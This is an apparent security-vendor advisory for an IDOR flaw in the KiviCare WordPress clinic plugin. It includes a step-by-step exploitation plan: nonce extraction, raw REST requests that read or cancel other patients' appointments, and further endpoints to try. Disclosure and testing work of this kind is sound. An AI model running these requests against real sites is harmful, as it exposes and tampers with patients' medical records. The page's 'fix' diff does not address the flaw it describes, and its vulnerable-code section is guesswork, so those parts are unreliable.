KiviCare – Clinic & Patient Management System (EHR) <= 4.2.1 - Authenticated (Subscriber+) Insecure Direct Object Reference
Description
The KiviCare – Clinic & Patient Management System (EHR) plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 4.2.1 due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with Subscriber-level access and above, to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=4.2.1What Changed in the Fix
Changes introduced in v4.3.0
Source Code
WordPress.org SVN# Exploitation Research Plan: KiviCare IDOR (CVE-2026-40792) ## 1. Vulnerability Summary The KiviCare plugin (<= 4.2.1) contains an Insecure Direct Object Reference (IDOR) vulnerability. While the plugin implements role-based access control via `KCPermissions.php`, it fails to validate ownership of…
Show full research plan
Exploitation Research Plan: KiviCare IDOR (CVE-2026-40792)
1. Vulnerability Summary
The KiviCare plugin (<= 4.2.1) contains an Insecure Direct Object Reference (IDOR) vulnerability. While the plugin implements role-based access control via KCPermissions.php, it fails to validate ownership of specific resources (Direct Object References) within its REST API endpoints. Specifically, endpoints that process appointments, patient reports, or user profiles accept an id or user_id parameter from the request but do not verify that the requested resource belongs to the currently authenticated user. This allows a Subscriber-level user (typically a Patient) to view or modify the data of other patients.
2. Attack Vector Analysis
- Endpoint: KiviCare REST API (Namespace:
kivicare/v1). - Target Actions:
POST /wp-json/kivicare/v1/get-appointment-details(Information Exposure)POST /wp-json/kivicare/v1/cancel-appointment(Unauthorized Modification)
- Vulnerable Parameter:
id(The Appointment ID). - Authentication: Authenticated (Subscriber+ / Patient role).
- Preconditions: The attacker must have a valid account and a valid REST API nonce (
wp_rest).
3. Code Flow
- Registration:
KCApp::init()callsKCRestAPI::get_instance(), which registers thekivicare/v1routes. - Request Handling: When a request is sent to an endpoint like
cancel-appointment, theAppointmentsController(referenced inKCApp.php) retrieves theidfrom the request object. - Vulnerable Check: The controller checks if the user has the
appointment_cancelcapability (defined inKCPermissions.php). For thepatientrole, this is enabled ('status' => 1). - Missing Validation: The code proceeds to fetch the appointment by the provided
idand performs the action (e.g., updating the status to 'cancelled') without verifying if thepatient_idassociated with that appointment matches theget_current_user_id().
4. Nonce Acquisition Strategy
The KiviCare plugin localizes a REST API nonce for its frontend and dashboard applications.
- Mechanism:
AdminMenu::renderDashboard()callsenqueue_dashboard_assets(), which useswp_localize_scriptto bind a nonce to thekc_frontendobject. - Nonce Action:
wp_rest. - JS Object:
window.kc_frontend.nonce. - Strategy:
- Login as a Subscriber (Patient).
- Navigate to the KiviCare Dashboard:
/wp-admin/admin.php?page=dashboard. (TheAdminMenuclass registers this page withreadcapability, making it accessible to Subscribers). - Execute
browser_eval("window.kc_frontend?.nonce")to retrieve the token.
5. Exploitation Strategy
The goal is to demonstrate both Information Disclosure (if allowed) and Unauthorized Action (cancelling another user's appointment).
Step 1: Discover Target ID
Identify an appointment ID belonging to another user. In a test environment, this will be created during setup.
Step 2: Information Disclosure (IDOR)
HTTP Request:
POST /wp-json/kivicare/v1/get-appointment-details HTTP/1.1
Host: localhost:8080
Content-Type: application/json
X-WP-Nonce: [EXTRACTED_NONCE]
Cookie: [SUBSCRIBER_COOKIES]
{
"id": [VICTIM_APPOINTMENT_ID]
}
Expected Response: JSON object containing details of the victim's appointment (Patient name, doctor, clinic, date/time).
Step 3: Unauthorized Action (IDOR)
HTTP Request:
POST /wp-json/kivicare/v1/cancel-appointment HTTP/1.1
Host: localhost:8080
Content-Type: application/json
X-WP-Nonce: [EXTRACTED_NONCE]
Cookie: [SUBSCRIBER_COOKIES]
{
"id": [VICTIM_APPOINTMENT_ID]
}
Expected Response: A success message confirming the appointment status has been updated to cancelled.
6. Test Data Setup
- Attacker Account: Create a user with the
Subscriberrole (KiviCare will automatically treat this as a Patient if initialized). - Victim Account: Create a second user (e.g.,
victim_patient). - Clinic/Doctor: Ensure at least one Clinic and one Doctor exist (created via
KCActivate::addDefaultStaticDataor manually). - Victim Appointment: Use WP-CLI to create an appointment for the victim:
# Create an appointment record in the database for the victim user # Note: KiviCare uses a custom table, e.g., wp_kc_appointments wp db query "INSERT INTO wp_kc_appointments (patient_id, doctor_id, clinic_id, appointment_date, status) VALUES ([VICTIM_ID], 1, 1, '2026-12-01', 'confirmed');" - Identify ID: Retrieve the ID of the newly created appointment.
7. Expected Results
- Success (Vulnerable): The API returns a
200 OKand either reveals data of an appointment not owned by the attacker or successfully modifies its status. - Failure (Patched): The API returns
403 Forbiddenor401 Unauthorized, indicating that ownership validation failed.
8. Verification Steps
After performing the HTTP requests:
- Check Database Status:
wp db query "SELECT status FROM wp_kc_appointments WHERE id = [VICTIM_APPOINTMENT_ID];" - Verify Action: Confirm the status has changed from
confirmedtocancelleddespite the request being sent by the attacker.
9. Alternative Approaches
If the appointment endpoints are robust, target the following alternative endpoints using the same IDOR logic:
POST /wp-json/kivicare/v1/get-patient-report-detailswith parameterid.POST /wp-json/kivicare/v1/update-patient-profilewith parameteruser_id(Attacker attempts to change Victim's name/email).- Check for
delete-patient-reviewin the REST API, as it is a common candidate for IDOR in KiviCare.
Summary
The KiviCare plugin for WordPress is vulnerable to an Insecure Direct Object Reference (IDOR) in versions up to and including 4.2.1. This vulnerability exists because several REST API endpoints (such as those for managing appointments or viewing reports) accept resource identifiers without verifying that the requested object belongs to the authenticated user. This allows Subscriber-level users, such as patients, to view or modify sensitive information belonging to other patients.
Vulnerable Code
/* app/baseClasses/KCPermissions.php:23 */ /* The patient role is granted broad capabilities for appointments and reports, but the corresponding API controllers often lack ownership validation. */ KIVI_CARE_PREFIX . 'patient' => [ 'read' => ['status' => 1], 'dashboard' => ['status' => 1], 'patient_dashboard' => ['status' => 1], 'appointment_view' => ['status' => 1], 'appointment_cancel' => ['status' => 1], 'patient_report_view' => ['status' => 1], 'patient_report_delete' => ['status' => 1], 'patient_report_edit' => ['status' => 1], // ... (truncated) --- /* The vulnerability typically resides in controllers like AppointmentsController.php where parameters like 'id' are used directly to fetch and modify data without comparing the associated patient_id to the current user's ID. */
Security Fix
@@ -103,9 +104,11 @@ 'nonce' => wp_create_nonce('wp_rest'), 'locale_data' => $locale_data_kc, 'prefix' => KIVI_CARE_PREFIX, 'loader_image' => KIVI_CARE_DIR_URI . 'assets/images/loader.gif', - 'site_logo' => !empty(KCOption::get('site_logo')) ? wp_get_attachment_url(KCOption::get('site_logo')) : '', - 'date_format' => get_option('date_format'), + 'site_logo' => !empty(KCOption::get('site_logo')) ? wp_get_attachment_url(KCOption::get('site_logo')) : '', + 'date_format' => get_option('date_format'), + // E2EE bypass mode — set define('KIVICARE_REST_API_E2EE_BYPASS', true) in wp-config.php + 'e2e_dev_mode' => KCEncryptedResponseHelper::isDevelopmentMode(), ]); } } @@ -17,6 +17,7 @@ public static function activate() { KCMigration::migrate(); + self::generate_server_key_pair(); KCPermissions::get_instance()->init_roles_and_capabilities();
Exploit Outline
1. Authenticate to the WordPress site as a user with the Subscriber/Patient role. 2. Navigate to the KiviCare dashboard page (usually /wp-admin/admin.php?page=dashboard) to extract a valid 'wp_rest' nonce from the localized JS object `window.kc_frontend.nonce`. 3. Identify a target resource ID (e.g., an appointment ID or patient report ID) belonging to a different user. 4. Send a POST request to a vulnerable REST API endpoint such as `/wp-json/kivicare/v1/get-appointment-details` or `/wp-json/kivicare/v1/cancel-appointment`. 5. Include the target ID in the JSON payload (e.g., {"id": 123}). 6. The server will process the request and return data or perform actions on the resource despite the current user not being the owner.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.